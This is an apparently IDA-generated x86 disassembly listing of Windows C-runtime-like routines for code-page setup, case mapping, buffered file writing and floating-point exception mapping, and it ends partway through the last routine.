		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_6314C8
		call	sub_429BA7
		add	esp, 20h
		test	eax, eax
		jz	short loc_42A7FD
		cmp	eax, esi
		jnz	short loc_42A859
		movzx	eax, [ebp+var_4]
		jmp	short loc_42A866
; ---------------------------------------------------------------------------


loc_42A859:				; CODE XREF: sub_42A7A0+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_42A866:				; CODE XREF: sub_42A7A0+16j
					; sub_42A7A0+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42A7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A86B	proc near		; CODE XREF: sub_424496+11p
					; sub_424744+Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42B835
		test	eax, eax
		pop	ecx
		jz	short loc_42A8F4
		cmp	esi, offset dword_449450
		jnz	short loc_42A889
		xor	eax, eax
		jmp	short loc_42A894
; ---------------------------------------------------------------------------


loc_42A889:				; CODE XREF: sub_42A86B+18j
		cmp	esi, offset dword_449470
		jnz	short loc_42A8F4
		push	1
		pop	eax


loc_42A894:				; CODE XREF: sub_42A86B+1Cj
		inc	dword_6313E8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_42A8F4
		cmp	dword_6314E0[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:6314E0h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_42A8DA
		push	ebx
		call	sub_422F79
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_42A8DA
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_42A8E7
; ---------------------------------------------------------------------------


loc_42A8DA:				; CODE XREF: sub_42A86B+4Dj
					; sub_42A86B+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_42A8E7:				; CODE XREF: sub_42A86B+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42A8F4:				; CODE XREF: sub_42A86B+10j
					; sub_42A86B+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_42A86B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A8F8	proc near		; CODE XREF: sub_424496+2Bp
					; sub_424744+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_42A920
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42A920
		push	esi
		call	sub_42671D
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx


loc_42A920:				; CODE XREF: sub_42A8F8+6j
					; sub_42A8F8+10j
		pop	esi
		retn
sub_42A8F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A922	proc near		; CODE XREF: sub_42A953+4p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_42483C
		dec	dword ptr [esi+4]
		pop	ecx
		js	short loc_42A93E
		mov	eax, [esi]
		movzx	edi, byte ptr [eax]
		inc	eax
		mov	[esi], eax
		jmp	short loc_42A947
; ---------------------------------------------------------------------------


loc_42A93E:				; CODE XREF: sub_42A922+10j
		push	esi
		call	sub_426826
		pop	ecx
		mov	edi, eax


loc_42A947:				; CODE XREF: sub_42A922+1Aj
		push	esi
		call	sub_42488E
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42A922	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A953	proc near		; CODE XREF: sub_4245EC+5p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_42A922
		pop	ecx
		retn
sub_42A953	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A95E	proc near		; CODE XREF: sub_42AD36+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	19h
		call	sub_428436
		push	[ebp+arg_0]
		call	sub_42AB0B	; GetOEMCP
		mov	ebx, eax
		pop	ecx
		cmp	ebx, dword_631768
		pop	ecx
		mov	[ebp+arg_0], ebx
		jnz	short loc_42A98C


loc_42A985:				; CODE XREF: sub_42A95E+196j
		xor	esi, esi
		jmp	loc_42AAFC
; ---------------------------------------------------------------------------


loc_42A98C:				; CODE XREF: sub_42A95E+25j
		test	ebx, ebx
		jz	loc_42AAEA
		xor	edx, edx
		mov	eax, offset dword_44BDC0


loc_42A99B:				; CODE XREF: sub_42A95E+4Aj
		cmp	[eax], ebx
		jz	short loc_42AA13
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_44BEB0
		jl	short loc_42A99B
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		call	dword_42F19C	; GetCPInfo
		push	1
		pop	esi
		cmp	eax, esi
		jnz	loc_42AAE1
		push	40h
		and	dword_631984, 0
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_631880
		cmp	[ebp+var_18], esi
		rep stosd
		stosb
		mov	dword_631768, ebx
		jbe	loc_42AACE
		cmp	[ebp+var_12], 0
		jz	loc_42AAA9
		lea	ecx, [ebp+var_11]


loc_42A9F0:				; CODE XREF: sub_42A95E+145j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_42AAA9
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_42AA01:				; CODE XREF: sub_42A95E+B3j
		cmp	eax, edx
		ja	loc_42AA9D
		or	byte_631881[eax], 4
		inc	eax
		jmp	short loc_42AA01
; ---------------------------------------------------------------------------


loc_42AA13:				; CODE XREF: sub_42A95E+3Fj
		and	[ebp+var_4], 0
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_631880
		lea	esi, [edx+edx*2]
		rep stosd
		shl	esi, 4
		stosb
		lea	ebx, dword_44BDD0[esi]


loc_42AA30:				; CODE XREF: sub_42A95E+10Fj
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_42AA63


loc_42AA37:				; CODE XREF: sub_42A95E+103j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_42AA63
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42AA5C
		mov	edx, [ebp+var_4]
		mov	dl, byte_44BDB8[edx]


loc_42AA51:				; CODE XREF: sub_42A95E+FCj
		or	byte_631881[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_42AA51


loc_42AA5C:				; CODE XREF: sub_42A95E+E8j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_42AA37


loc_42AA63:				; CODE XREF: sub_42A95E+D7j
					; sub_42A95E+DEj
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42AA30
		mov	eax, [ebp+arg_0]
		mov	dword_63177C, 1
		push	eax
		mov	dword_631768, eax
		call	sub_42AB55
		lea	esi, dword_44BDC4[esi]
		mov	edi, offset dword_631770
		movsd
		movsd
		pop	ecx
		mov	dword_631984, eax
		movsd
		jmp	short loc_42AAEF
; ---------------------------------------------------------------------------


loc_42AA9D:				; CODE XREF: sub_42A95E+A5j
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_42A9F0


loc_42AAA9:				; CODE XREF: sub_42A95E+89j
					; sub_42A95E+96j
		mov	eax, esi


loc_42AAAB:				; CODE XREF: sub_42A95E+15Aj
		or	byte_631881[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42AAAB
		push	ebx
		call	sub_42AB55
		pop	ecx
		mov	dword_631984, eax
		mov	dword_63177C, esi
		jmp	short loc_42AAD5
; ---------------------------------------------------------------------------


loc_42AACE:				; CODE XREF: sub_42A95E+7Fj
		and	dword_63177C, 0


loc_42AAD5:				; CODE XREF: sub_42A95E+16Ej
		xor	eax, eax
		mov	edi, offset dword_631770
		stosd
		stosd
		stosd
		jmp	short loc_42AAEF
; ---------------------------------------------------------------------------


loc_42AAE1:				; CODE XREF: sub_42A95E+5Cj
		cmp	dword_6314E8, 0
		jz	short loc_42AAF9


loc_42AAEA:				; CODE XREF: sub_42A95E+30j
		call	sub_42AB88


loc_42AAEF:				; CODE XREF: sub_42A95E+13Dj
					; sub_42A95E+181j
		call	sub_42ABB1
		jmp	loc_42A985
; ---------------------------------------------------------------------------


loc_42AAF9:				; CODE XREF: sub_42A95E+18Aj
		or	esi, 0FFFFFFFFh


loc_42AAFC:				; CODE XREF: sub_42A95E+29j
		push	19h
		call	sub_428497
		pop	ecx
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42A95E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AB0B	proc near		; CODE XREF: sub_42A95E+13p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_6314E8, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_42AB2B
		mov	dword_6314E8, 1
		jmp	dword_42F194
; ---------------------------------------------------------------------------


loc_42AB2B:				; CODE XREF: sub_42AB0B+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_42AB40
		mov	dword_6314E8, 1
		jmp	dword_42F198
; ---------------------------------------------------------------------------


loc_42AB40:				; CODE XREF: sub_42AB0B+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42AB54
		mov	eax, dword_6314D8
		mov	dword_6314E8, 1

locret_42AB54:				; CODE XREF: sub_42AB0B+38j
		retn
sub_42AB0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AB55	proc near		; CODE XREF: sub_42A95E+124p
					; sub_42A95E+15Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_42AB82
		sub	eax, 4
		jz	short loc_42AB7C
		sub	eax, 0Dh
		jz	short loc_42AB76
		dec	eax
		jz	short loc_42AB70
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42AB70:				; CODE XREF: sub_42AB55+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42AB76:				; CODE XREF: sub_42AB55+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_42AB7C:				; CODE XREF: sub_42AB55+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_42AB82:				; CODE XREF: sub_42AB55+9j
		mov	eax, 411h
		retn
sub_42AB55	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AB88	proc near		; CODE XREF: sub_42A95E:loc_42AAEAp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_631880
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_631770
		mov	dword_631768, eax
		mov	dword_63177C, eax
		mov	dword_631984, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42AB88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42ABB1	proc near		; CODE XREF: sub_42A95E:loc_42AAEFp

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_631768
		call	dword_42F19C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_42ACEA
		xor	eax, eax
		mov	esi, 100h


loc_42ABDB:				; CODE XREF: sub_42ABB1+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_42ABDB
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_42AC2C
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_42ABFA:				; CODE XREF: sub_42ABB1+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_42AC21
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_42AC21:				; CODE XREF: sub_42ABB1+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_42ABFA
		pop	edi
		pop	ebx


loc_42AC2C:				; CODE XREF: sub_42ABB1+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_631984
		push	dword_631768
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_42BADD
		push	0
		lea	eax, [ebp+var_214]
		push	dword_631768
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_631984
		call	sub_429BA7
		push	0
		lea	eax, [ebp+var_314]
		push	dword_631768
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_631984
		call	sub_429BA7
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_42ACA7:				; CODE XREF: sub_42ABB1+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_42ACC5
		or	byte_631881[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_42ACBD:				; CODE XREF: sub_42ABB1+127j
		mov	byte_631780[eax], dl
		jmp	short loc_42ACE1
; ---------------------------------------------------------------------------


loc_42ACC5:				; CODE XREF: sub_42ABB1+FCj
		test	dl, 2
		jz	short loc_42ACDA
		or	byte_631881[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_42ACBD
; ---------------------------------------------------------------------------


loc_42ACDA:				; CODE XREF: sub_42ABB1+117j
		and	byte_631780[eax], 0


loc_42ACE1:				; CODE XREF: sub_42ABB1+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_42ACA7
		jmp	short loc_42AD33
; ---------------------------------------------------------------------------


loc_42ACEA:				; CODE XREF: sub_42ABB1+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_42ACF1:				; CODE XREF: sub_42ABB1+180j
		cmp	eax, 41h
		jb	short loc_42AD0F
		cmp	eax, 5Ah
		ja	short loc_42AD0F
		or	byte_631881[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42AD07:				; CODE XREF: sub_42ABB1+174j
		mov	byte_631780[eax], cl
		jmp	short loc_42AD2E
; ---------------------------------------------------------------------------


loc_42AD0F:				; CODE XREF: sub_42ABB1+143j
					; sub_42ABB1+148j
		cmp	eax, 61h
		jb	short loc_42AD27
		cmp	eax, 7Ah
		ja	short loc_42AD27
		or	byte_631881[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42AD07
; ---------------------------------------------------------------------------


loc_42AD27:				; CODE XREF: sub_42ABB1+161j
					; sub_42ABB1+166j
		and	byte_631780[eax], 0


loc_42AD2E:				; CODE XREF: sub_42ABB1+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_42ACF1


loc_42AD33:				; CODE XREF: sub_42ABB1+137j
		pop	esi
		leave
		retn
sub_42ABB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AD36	proc near		; CODE XREF: sub_42B1D5+9p
					; sub_42B22D+Dp ...
		cmp	dword_631994, 0
		jnz	short locret_42AD51
		push	0FFFFFFFDh
		call	sub_42A95E
		pop	ecx
		mov	dword_631994, 1

locret_42AD51:				; CODE XREF: sub_42AD36+7j
		retn
sub_42AD36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AD52	proc near		; CODE XREF: sub_4245FD+2Bp
					; sub_4245FD+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_63177C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_42AD76
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_4222F0
		add	esp, 0Ch
		jmp	short loc_42ADE9
; ---------------------------------------------------------------------------


loc_42AD76:				; CODE XREF: sub_42AD52+11j
		push	esi
		push	19h
		call	sub_428436
		mov	edx, [ebp+arg_8]
		pop	ecx
		test	edx, edx
		jz	short loc_42ADC3
		mov	ecx, [ebp+arg_4]


loc_42AD89:				; CODE XREF: sub_42AD52+63j
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_631881[esi], 4
		mov	[edi], al
		jz	short loc_42ADAD
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_42ADB9
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_42ADBF
		jmp	short loc_42ADB3
; ---------------------------------------------------------------------------


loc_42ADAD:				; CODE XREF: sub_42AD52+46j
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_42ADC3


loc_42ADB3:				; CODE XREF: sub_42AD52+59j
		test	edx, edx
		jnz	short loc_42AD89
		jmp	short loc_42ADC3
; ---------------------------------------------------------------------------


loc_42ADB9:				; CODE XREF: sub_42AD52+4Cj
		and	byte ptr [edi-1], 0
		jmp	short loc_42ADC3
; ---------------------------------------------------------------------------


loc_42ADBF:				; CODE XREF: sub_42AD52+57j
		and	byte ptr [edi-2], 0


loc_42ADC3:				; CODE XREF: sub_42AD52+32j
					; sub_42AD52+5Fj ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42ADDE
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42ADDE:				; CODE XREF: sub_42AD52+77j
		push	19h
		call	sub_428497
		mov	eax, [ebp+arg_0]
		pop	ecx


loc_42ADE9:				; CODE XREF: sub_42AD52+22j
		pop	edi
		pop	ebp
		retn
sub_42AD52	endp


; =============== S U B	R O U T	I N E =======================================



sub_42ADEC	proc near		; CODE XREF: sub_424828+Ej
		push	ebx
		push	edi
		push	2
		xor	ebx, ebx
		call	sub_428436
		pop	ecx
		push	3
		pop	edi
		cmp	dword_632B00, edi
		jle	short loc_42AE60
		push	esi


loc_42AE04:				; CODE XREF: sub_42ADEC+71j
		mov	eax, dword_631AE8
		mov	esi, edi
		shl	esi, 2
		mov	eax, [esi+eax]
		test	eax, eax
		jz	short loc_42AE56
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_42AE28
		push	eax
		call	sub_422B65
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_42AE28
		inc	ebx


loc_42AE28:				; CODE XREF: sub_42ADEC+2Dj
					; sub_42ADEC+39j
		cmp	edi, 14h
		jl	short loc_42AE56
		mov	eax, dword_631AE8
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_42F148	; RtlDeleteCriticalSection
		mov	eax, dword_631AE8
		push	dword ptr [esi+eax]
		call	sub_4230B3
		mov	eax, dword_631AE8
		pop	ecx
		and	dword ptr [esi+eax], 0


loc_42AE56:				; CODE XREF: sub_42ADEC+27j
					; sub_42ADEC+3Fj
		inc	edi
		cmp	edi, dword_632B00
		jl	short loc_42AE04
		pop	esi


loc_42AE60:				; CODE XREF: sub_42ADEC+15j
		push	2
		call	sub_428497
		pop	ecx
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_42ADEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42AE6D	proc near		; CODE XREF: sub_424C37+A2p
					; sub_425014+95p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_631AE0
		jnb	short loc_42AEBA
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_6319E0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_42AEBA
		push	edi
		push	esi
		call	sub_42BE86
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	esi
		call	sub_42AED2
		push	esi
		mov	edi, eax
		call	sub_42BEE5
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42AEBA:				; CODE XREF: sub_42AE6D+Bj
					; sub_42AE6D+26j
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_42AE6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AED2	proc near		; CODE XREF: sub_42AE6D+38p
					; sub_42D6D7+86p

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42AEF2


loc_42AEEB:				; CODE XREF: sub_42AED2+169j
		xor	eax, eax
		jmp	loc_42B058
; ---------------------------------------------------------------------------


loc_42AEF2:				; CODE XREF: sub_42AED2+17j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		lea	ebx, ds:6319E0h[eax*4]
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_42AF22
		push	2
		push	edi
		push	[ebp+arg_0]
		call	sub_426D61
		add	esp, 0Ch


loc_42AF22:				; CODE XREF: sub_42AED2+40j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42AFF1
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_42B02C


loc_42AF42:				; CODE XREF: sub_42AED2+E4j
		lea	eax, [ebp+var_414]


loc_42AF48:				; CODE XREF: sub_42AED2+A8j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_42AF7C
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_42AF67
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_42AF67:				; CODE XREF: sub_42AED2+8Cj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_42AF48


loc_42AF7C:				; CODE XREF: sub_42AED2+7Fj
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jz	short loc_42AFE6
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_42AFB8
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42AF42


loc_42AFB8:				; CODE XREF: sub_42AED2+D9j
					; sub_42AED2+11Dj
		xor	edi, edi


loc_42AFBA:				; CODE XREF: sub_42AED2+13Fj
					; sub_42AED2+14Aj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42B055
		cmp	[ebp+arg_0], edi
		jz	short loc_42B02C
		push	5
		pop	esi
		cmp	[ebp+arg_0], esi
		jnz	short loc_42B01E
		call	sub_426528
		mov	dword ptr [eax], 9
		call	sub_426531
		mov	[eax], esi
		jmp	short loc_42B027
; ---------------------------------------------------------------------------


loc_42AFE6:				; CODE XREF: sub_42AED2+CFj
		call	dword_42F068	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_42AFB8
; ---------------------------------------------------------------------------


loc_42AFF1:				; CODE XREF: sub_42AED2+58j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jz	short loc_42B013
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_42AFBA
; ---------------------------------------------------------------------------


loc_42B013:				; CODE XREF: sub_42AED2+134j
		call	dword_42F068	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_42AFBA
; ---------------------------------------------------------------------------


loc_42B01E:				; CODE XREF: sub_42AED2+FEj
		push	[ebp+arg_0]
		call	sub_4264B5
		pop	ecx


loc_42B027:				; CODE XREF: sub_42AED2+112j
					; sub_42AED2+181j
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B058
; ---------------------------------------------------------------------------


loc_42B02C:				; CODE XREF: sub_42AED2+6Aj
					; sub_42AED2+F6j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_42B041
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_42AEEB


loc_42B041:				; CODE XREF: sub_42AED2+161j
		call	sub_426528
		mov	dword ptr [eax], 1Ch
		call	sub_426531
		mov	[eax], edi
		jmp	short loc_42B027
; ---------------------------------------------------------------------------


loc_42B055:				; CODE XREF: sub_42AED2+EDj
		sub	eax, [ebp+var_10]


loc_42B058:				; CODE XREF: sub_42AED2+1Bj
					; sub_42AED2+158j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42AED2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B05D	proc near		; CODE XREF: .text:00424FB8p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		call	sub_42599D
		mov	esi, eax
		push	dword ptr [esi+50h]
		push	[ebp+arg_0]
		call	sub_42B19B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42B18E
		mov	ebx, [eax+8]
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	loc_42B18E
		cmp	ebx, 5
		jnz	short loc_42B09E
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_42B197
; ---------------------------------------------------------------------------


loc_42B09E:				; CODE XREF: sub_42B05D+33j
		cmp	ebx, 1
		jz	loc_42B189
		mov	ecx, [esi+54h]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		mov	[esi+54h], ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_42B17B
		mov	edx, dword_44BF28
		mov	ecx, dword_44BF2C
		add	ecx, edx
		push	edi
		cmp	edx, ecx
		jge	short loc_42B0F9
		lea	ecx, [edx+edx*2]
		shl	ecx, 2


loc_42B0D8:				; CODE XREF: sub_42B05D+97j
		mov	edi, [esi+50h]
		add	ecx, 0Ch
		and	dword ptr [ecx+edi-4], 0
		mov	edi, dword_44BF28
		mov	ebx, dword_44BF2C
		inc	edx
		add	ebx, edi
		cmp	edx, ebx
		jl	short loc_42B0D8
		mov	ebx, [ebp+arg_0]


loc_42B0F9:				; CODE XREF: sub_42B05D+73j
		mov	eax, [eax]
		mov	edi, [esi+58h]
		cmp	eax, 0C000008Eh
		jnz	short loc_42B10E
		mov	dword ptr [esi+58h], 83h
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------


loc_42B10E:				; CODE XREF: sub_42B05D+A6j
		cmp	eax, 0C0000090h
		jnz	short loc_42B11E
		mov	dword ptr [esi+58h], 81h
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------


loc_42B11E:				; CODE XREF: sub_42B05D+B6j
		cmp	eax, 0C0000091h
		jnz	short loc_42B12E
		mov	dword ptr [esi+58h], 84h
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------


loc_42B12E:				; CODE XREF: sub_42B05D+C6j
		cmp	eax, 0C0000093h
		jnz	short loc_42B13E
		mov	dword ptr [esi+58h], 85h
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------


loc_42B13E:				; CODE XREF: sub_42B05D+D6j
		cmp	eax, 0C000008Dh
		jnz	short loc_42B14E
		mov	dword ptr [esi+58h], 82h
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------


loc_42B14E:				; CODE XREF: sub_42B05D+E6j
		cmp	eax, 0C000008Fh
		jnz	short loc_42B15E
		mov	dword ptr [esi+58h], 86h
		jmp	short loc_42B16C
; ---------------------------------------------------------------------------


loc_42B15E:				; CODE XREF: sub_42B05D+F6j
		cmp	eax, 0C0000092h
		jnz	short loc_42B16C
		mov	dword ptr [esi+58h], 8Ah


loc_42B16C:				; CODE XREF: sub_42B05D+AFj
